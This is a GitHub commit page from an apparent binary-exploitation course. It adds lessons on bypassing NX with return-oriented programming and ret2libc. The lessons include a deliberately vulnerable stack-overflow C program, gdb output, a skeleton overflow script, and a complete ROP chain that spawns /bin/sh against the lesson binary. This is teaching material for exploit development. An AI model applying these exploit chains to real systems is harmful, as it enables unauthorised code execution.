Skip to content

Commit

Permalink
Finished sections 6 and 7.
Browse files Browse the repository at this point in the history
  • Loading branch information
nnamon committed Jan 12, 2017
1 parent d06d829 commit 607472a
Show file tree
Hide file tree
Showing 16 changed files with 411 additions and 2 deletions.
1 change: 1 addition & 0 deletions .gitignore
Expand Up @@ -3,3 +3,4 @@
ubuntu-xenial-16.04-cloudimg-console.log
.gdb_history
peda-*.txt
core
5 changes: 5 additions & 0 deletions Vagrantfile
Expand Up @@ -71,11 +71,16 @@ Vagrant.configure("2") do |config|
apt-get update
apt-get install -y libc6:i386 libncurses5:i386 libstdc++6:i386 gdb python python-pip libssl-dev gcc git binutils socat apt-transport-https ca-certificates libc6-dev-i386 python-capstone
pip install --upgrade pip
pip install ropgadget
pip install pwntools
pip install ipython
pip install ropper
git clone https://github.com/longld/peda.git /home/ubuntu/peda
echo "source ~/peda/peda.py" >> /home/ubuntu/.gdbinit
git clone https://github.com/niklasb/libc-database.git /home/ubuntu/libc-database
cd /home/ubuntu/libc-database
/home/ubuntu/libc-database/add /lib/i386-linux-gnu/libc.so.6
/home/ubuntu/libc-database/add /lib/x86_64-linux-gnu/libc.so.6
apt-key adv --keyserver hkp://ha.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D
echo "deb https://apt.dockerproject.org/repo ubuntu-xenial main" | tee /etc/apt/sources.list.d/docker.list
apt-get update
Expand Down
4 changes: 4 additions & 0 deletions lessons/6_bypass_nx_rop/Makefile
@@ -0,0 +1,4 @@
all: 1_staticnx

1_staticnx:
gcc -m32 -fno-stack-protector -static -znoexecstack -o ./build/1_staticnx ./src/1_staticnx.c
Binary file added lessons/6_bypass_nx_rop/build/1_staticnx
Binary file not shown.
194 changes: 192 additions & 2 deletions lessons/6_bypass_nx_rop/lessonplan.md
@@ -1,4 +1,194 @@
# Bypassing NX with Return Oriented Programming

<attack statically linked binaries and libc to generate chains with ropper>
2 binaries
Since it is assumed that all participants have the gone through the introductory
video on return oriented programming set out in the pre-requisites, we will jump
straight into developing our exploits. If you are not clear on the basics of
ROP, please revisit the video.

## Enabling NX

Let's start increasing protections on the binaries we play with. We can start
simple by only enabling the NX protection on the binaries we compile. For this
section we will take a look at the following binary compiled from the following
[source code][1].

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>

void vuln() {
char buffer[128];
char * second_buffer;
uint32_t length = 0;
puts("Reading from STDIN");
read(0, buffer, 1024);

if (strcmp(buffer, "Cool Input") == 0) {
puts("What a cool string.");
}
length = strlen(buffer);
if (length == 42) {
puts("LUE");
}
second_buffer = malloc(length);
strncpy(second_buffer, buffer, length);
}

int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

puts("This is a big vulnerable example!");
printf("I can print many things: %x, %s, %d\n", 0xdeadbeef, "Test String",
42);
write(1, "Writing to STDOUT\n", 18);
vuln();
}

```

Since the [binary][2] is not big enough to give us a decent number of ROP
gadgets, we will cheat a bit and compile the binary as a statically linked ELF.
This should include library code in the final executable and bulk up the size of
the binary. We also mark the writable regions of memory as non-executable.

```shell
gcc -m32 -fno-stack-protector -static -znoexecstack -o ./build/1_staticnx ./src/1_staticnx.c
```

We can verify that the binary has the NX protection enabled by using the
checksec script. We can also check that the file is statically compiled with
file.

```shell
ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$ checksec 1_staticnx
[*] '/vagrant/lessons/6_bypass_nx_rop/build/1_staticnx'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$ file 1_staticnx
1_staticnx: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=18a84fc7499b620b7453b9d37d7ba97dc356d7b2, not stripped
ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$
```

## Obtaining EIP Control

First of all, we need to determine the offsets for EIP control. For the sake of
brevity, I will use the offset of 148 bytes. When you follow along in the
lesson, please do try obtaining the offset yourself. A rough skeleton [exploit
script][2] is given as follows:

```python
#!/usr/bin/python

from pwn import *

def main():
# Start the process
p = process("../build/1_staticnx")

# Craft the payload
payload = "A"*148 + p32(0xdeadc0de)
payload = payload.ljust(1000, "\x00")

# Print the process id
raw_input(str(p.proc.pid))

# Send the payload
p.send(payload)

# Transfer interaction to the user
p.interactive()

if __name__ == '__main__':
main()
```

Running the script and attach gdb to the process allows us to verify that the
EIP control works.

```shell
[----------------------------------registers-----------------------------------]
EAX: 0x80f15f8 ('A' <repeats 128 times>, "\370\025\017\b\230")
EBX: 0x80481b0 (<_init>: push ebx)
ECX: 0x10
EDX: 0x0
ESI: 0x80ee00c --> 0x8069c20 (<__strcpy_sse2>: mov edx,DWORD PTR [esp+0x4])
EDI: 0x3d ('=')
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd5f0 --> 0x0
EIP: 0xdeadc0de
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xdeadc0de
[------------------------------------stack-------------------------------------]
0000| 0xffffd5f0 --> 0x0
0004| 0xffffd5f4 --> 0x0
0008| 0xffffd5f8 --> 0x0
0012| 0xffffd5fc --> 0x0
0016| 0xffffd600 --> 0x0
0020| 0xffffd604 --> 0x0
0024| 0xffffd608 --> 0x0
0028| 0xffffd60c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xdeadc0de in ?? ()
gdb-peda$
```

## Code Gadgets

Now, let's take a step back and think about how to proceed from this point. We
cannot use the previous strategy of placing shellcode on the stack and jumping
to it because the stack is now non-executable. One possible technique we can use
is to reuse existing code in the binary.

If you have gone through the pre-requisite watching, you may realise that these
snippets of useful code sequences that end in `ret` instructions are useful to
construct a ROP chain. Some of these sequences might look like the following:

```shell
0x0804f065 : pop esi ; pop ebp ; ret
```

These are called gadgets. We can automate searching for these gadgets using a
tool called `ROPgadget`.

```shell
ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$ ROPgadget --binary 1_staticnx
Gadgets information
============================================================
0x080add78 : aaa ; add esp, 4 ; pop ebx ; pop esi ; ret
0x080706c8 : aaa ; lea esp, dword ptr [ebp - 0xc] ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080bbca9 : aaa ; push 1 ; push 1 ; call eax
... snip ...
0x08091a7c : xor esi, esi ; ret 0xf01

Unique gadgets found: 12307
```

Now, some combination of a subset of these 12307 gadgets should surely yield us
a shell. Before we start mixing and matching, lets take an aside to discuss
Linux syscalls.

## Linux Syscalls

talk about
http://syscalls.kernelgrok.com/
int 0x80

## Generating the ROP Chain

## Exercises

### 6.1 Using Ropper to Generate ROP Chains

[1]: ./src/1_staticnx.c
[2]: ./build/1_staticnx
[3]: ./scripts/1_skeleton.py
23 changes: 23 additions & 0 deletions lessons/6_bypass_nx_rop/scripts/1_skeleton.py
@@ -0,0 +1,23 @@
#!/usr/bin/python

from pwn import *

def main():
# Start the process
p = process("../build/1_staticnx")

# Craft the payload
payload = "A"*148 + p32(0xdeadc0de)
payload = payload.ljust(1000, "\x00")

# Print the process id
raw_input(str(p.proc.pid))

# Send the payload
p.send(payload)

# Transfer interaction to the user
p.interactive()

if __name__ == '__main__':
main()
59 changes: 59 additions & 0 deletions lessons/6_bypass_nx_rop/scripts/2_ropexploit.py
@@ -0,0 +1,59 @@
#!/usr/bin/python

from pwn import *

from struct import pack

# Padding goes here
rop = ''

rop += pack('<I', 0x0807299a) # pop edx ; ret
rop += pack('<I', 0x080ee060) # @ .data
rop += pack('<I', 0x080bbb46) # pop eax ; ret
rop += '/bin'
rop += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret
rop += pack('<I', 0x0807299a) # pop edx ; ret
rop += pack('<I', 0x080ee064) # @ .data + 4
rop += pack('<I', 0x080bbb46) # pop eax ; ret
rop += '//sh'
rop += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret
rop += pack('<I', 0x0807299a) # pop edx ; ret
rop += pack('<I', 0x080ee068) # @ .data + 8
rop += pack('<I', 0x080493e3) # xor eax, eax ; ret
rop += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret
rop += pack('<I', 0x080481d1) # pop ebx ; ret
rop += pack('<I', 0x080ee060) # @ .data
rop += pack('<I', 0x080e2fc9) # pop ecx ; ret
rop += pack('<I', 0x080ee068) # @ .data + 8
rop += pack('<I', 0x0807299a) # pop edx ; ret
rop += pack('<I', 0x080ee068) # @ .data + 8
rop += pack('<I', 0x080493e3) # xor eax, eax ; ret
rop += pack('<I', 0x0807e1df) # inc eax ; ret
rop += pack('<I', 0x0807e1df) # inc eax ; ret
rop += pack('<I', 0x0807e1df) # inc eax ; ret
rop += pack('<I', 0x0807e1df) # inc eax ; ret
rop += pack('<I', 0x0807e1df) # inc eax ; ret
rop += pack('<I', 0x0807e1df) # inc eax ; ret
rop += pack('<I', 0x0807e1df) # inc eax ; ret
rop += pack('<I', 0x0807e1df) # inc eax ; ret
rop += pack('<I', 0x0807e1df) # inc eax ; ret
rop += pack('<I', 0x0807e1df) # inc eax ; ret
rop += pack('<I', 0x0807e1df) # inc eax ; ret
rop += pack('<I', 0x08070605) # int 0x80

def main():
# Start the process
p = process("../build/1_staticnx")

# Craft the payload
payload = "A"*148 + rop
payload = payload.ljust(1000, "\x00")

# Send the payload
p.send(payload)

# Transfer interaction to the user
p.interactive()

if __name__ == '__main__':
main()
34 changes: 34 additions & 0 deletions lessons/6_bypass_nx_rop/src/1_staticnx.c
@@ -0,0 +1,34 @@
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>

void vuln() {
char buffer[128];
char * second_buffer;
uint32_t length = 0;
puts("Reading from STDIN");
read(0, buffer, 1024);

if (strcmp(buffer, "Cool Input") == 0) {
puts("What a cool string.");
}
length = strlen(buffer);
if (length == 42) {
puts("LUE");
}
second_buffer = malloc(length);
strncpy(second_buffer, buffer, length);
}

int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

puts("This is a big vulnerable example!");
printf("I can print many things: %x, %s, %d\n", 0xdeadbeef, "Test String",
42);
write(1, "Writing to STDOUT\n", 18);
vuln();
}
9 changes: 9 additions & 0 deletions lessons/7_bypass_nx_ret2libc/Makefile
@@ -0,0 +1,9 @@
all: 1_reveal_addresses 2_vulnerable

1_reveal_addresses:
gcc -m32 -o ./build/1_reveal_addresses ./src/1_reveal_addresses.c -ldl
gcc -o ./build/2_reveal_addresses64 ./src/1_reveal_addresses.c -ldl

2_vulnerable:
gcc -m32 -fno-stack-protector -znoexecstack -o ./build/3_vulnerable ./src/2_vulnerable.c

Binary file not shown.
Binary file not shown.
Binary file added lessons/7_bypass_nx_ret2libc/build/3_vulnerable
Binary file not shown.
23 changes: 23 additions & 0 deletions lessons/7_bypass_nx_ret2libc/scripts/1_skeleton.py
@@ -0,0 +1,23 @@
#!/usr/bin/python

from pwn import *

def main():
# Start the process
p = process("../build/3_vulnerable")

# Print the pid
raw_input(str(p.proc.pid))

# Craft the payload
payload = "A"*76 + p32(0xdeadc0de)
payload = payload.ljust(96, "\x00")

# Send the payload
p.send(payload)

# Pass interaction to the user
p.interactive()

if __name__ == "__main__":
main()

0 comments on commit 607472a

Please sign in to comment.